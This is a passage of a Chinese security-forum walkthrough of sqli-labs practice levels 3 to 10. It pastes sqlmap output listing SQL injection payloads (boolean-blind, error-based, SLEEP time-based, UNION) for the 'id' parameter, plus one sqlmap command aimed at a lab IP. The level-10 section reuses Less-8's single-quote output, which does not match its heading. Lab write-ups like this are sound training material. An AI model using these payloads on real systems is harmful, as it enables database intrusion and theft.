和第一关类似,sqlmap给出的sqlmap如下:具体的语句就不一一列举了。

Parameter: id (GET)    Type: boolean-based blind    Title: AND boolean-based blind - WHERE or HAVING clause    Payload: id=1') AND 5965=5965 AND ('Uhxh'='Uhxh    Type: error-based    Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)    Payload: id=1') AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x717a6a7a71,(SELECT (ELT(4276=4276,1))),0x7178787671,0x78))s), 8446744073709551610, 8446744073709551610))) AND ('DhTF'='DhTF    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: id=1') AND (SELECT 5032 FROM (SELECT(SLEEP(5)))ZpJN) AND ('qjGP'='qjGP    Type: UNION query    Title: Generic UNION query (NULL) - 3 columns    Payload: id=-8381') UNION ALL SELECT NULL,NULL,CONCAT(0x717a6a7a71,0x6244626e745745795371456665544570755652784f4c6256444c794f4e6a787a654e474f4b767255,0x7178787671)-- ----
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
4、less04-Error Based- DoubleQuotes String

和第一关类似,sqlmap给出的sqlmap如下:具体的语句就不一一列举了。

sqlmap identified the following injection point(s) with a total of 69 HTTP(s) requests:---Parameter: id (GET)    Type: boolean-based blind    Title: AND boolean-based blind - WHERE or HAVING clause (MySQL comment)    Payload: id=1") AND 3072=3072#    Type: error-based    Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)    Payload: id=1") AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716a6b7071,(SELECT (ELT(5205=5205,1))),0x716b626271,0x78))s), 8446744073709551610, 8446744073709551610))) AND ("yfvD"="yfvD    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: id=1") AND (SELECT 3354 FROM (SELECT(SLEEP(5)))Cwyc) AND ("gvAz"="gvAz    Type: UNION query    Title: MySQL UNION query (NULL) - 3 columns    Payload: id=-8029") UNION ALL SELECT NULL,CONCAT(0x716a6b7071,0x724d544d6171674c56465a6c4c7247716677484e4851686a4e63676b456e587a464669414c765268,0x716b626271),NULL#---
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
5、less05-Double Query- Single Quotes- String

和第一关类似,sqlmap给出的sqlmap如下:具体的语句就不一一列举了。
sqlmap给出的paylaod如下:

sqlmap identified the following injection point(s) with a total of 223 HTTP(s) requests:---Parameter: id (GET)    Type: boolean-based blind    Title: AND boolean-based blind - WHERE or HAVING clause    Payload: id=1' AND 7188=7188 AND 'mqLE'='mqLE    Type: error-based    Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)    Payload: id=1' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x717a707071,(SELECT (ELT(6541=6541,1))),0x7170707a71,0x78))s), 8446744073709551610, 8446744073709551610))) AND 'aJRC'='aJRC    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: id=1' AND (SELECT 8698 FROM (SELECT(SLEEP(5)))CBFA) AND 'fmva'='fmva---
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
6、less06-Double Query- Double Quotes- String

和第一关类似,sqlmap给出的sqlmap如下:具体的语句就不一一列举了。
sqlmap给出的语句如下:

sqlmap identified the following injection point(s) with a total of 221 HTTP(s) requests:---Parameter: id (GET)    Type: boolean-based blind    Title: AND boolean-based blind - WHERE or HAVING clause (MySQL comment)    Payload: id=1" AND 4582=4582#    Type: error-based    Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)    Payload: id=1" AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716b6b7071,(SELECT (ELT(8039=8039,1))),0x7178767a71,0x78))s), 8446744073709551610, 8446744073709551610)))-- uBIu    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: id=1" AND (SELECT 8198 FROM (SELECT(SLEEP(5)))BnZi)-- XRBu---
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
7、less07-Dump into Outfile

和第一关类似,sqlmap给出的sqlmap如下:具体的语句就不一一列举了。
sqlmap给出的语句如下:

sqlmap identified the following injection point(s) with a total of 287 HTTP(s) requests:---Parameter: id (GET)    Type: boolean-based blind    Title: AND boolean-based blind - WHERE or HAVING clause    Payload: id=1') AND 7606=7606 AND ('QcoM'='QcoM    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: id=1') AND (SELECT 3053 FROM (SELECT(SLEEP(5)))oLyk) AND ('rXXO'='rXXO---
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
8、less08-Blind- Boolian- Single Quotes- String

和第一关类似,sqlmap给出的sqlmap如下:具体的语句就不一一列举了。
sqlmap给出的语句如下:

sqlmap identified the following injection point(s) with a total of 252 HTTP(s) requests:---Parameter: id (GET)    Type: boolean-based blind    Title: AND boolean-based blind - WHERE or HAVING clause    Payload: id=1' AND 7494=7494 AND 'UORd'='UORd    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: id=1' AND (SELECT 9331 FROM (SELECT(SLEEP(5)))MYFE) AND 'sZZC'='sZZC---
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
9、less09-Blind- Time based- Single Quotes- String

和第一关类似,sqlmap给出的sqlmap如下:具体的语句就不一一列举了。
sqlmap给出的语句如下:

sqlmap identified the following injection point(s) with a total of 252 HTTP(s) requests:---Parameter: id (GET)    Type: boolean-based blind    Title: AND boolean-based blind - WHERE or HAVING clause    Payload: id=1' AND 4639=4639 AND 'PEyr'='PEyr    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: id=1' AND (SELECT 8651 FROM (SELECT(SLEEP(5)))TJGQ) AND 'wKXs'='wKXs---
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
10、less10-Blind- Time based- Double Quotes- String

和第一关类似,sqlmap给出的sqlmap如下:具体的语句就不一一列举了。
在查找所有数据库的时候需要列一下等级水平和风险等级,如下:

C:\Python27\sqlmap>sqlmap.py -u "http://192.168.1.177:40000/Less-8/?id=1" --current-db --level=5 --risk=3
  • 1

sqlmap给出的语句如下:

sqlmap resumed the following injection point(s) from stored session:---Parameter: id (GET)    Type: boolean-based blind    Title: AND boolean-based blind - WHERE or HAVING clause    Payload: id=1' AND 7494=7494 AND 'UORd'='UORd    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: id=1' AND (SELECT 9331 FROM (SELECT(SLEEP(5)))MYFE) AND 'sZZC'='sZZC---


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-28 18:09 , Processed in 0.039760 second(s), 17 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表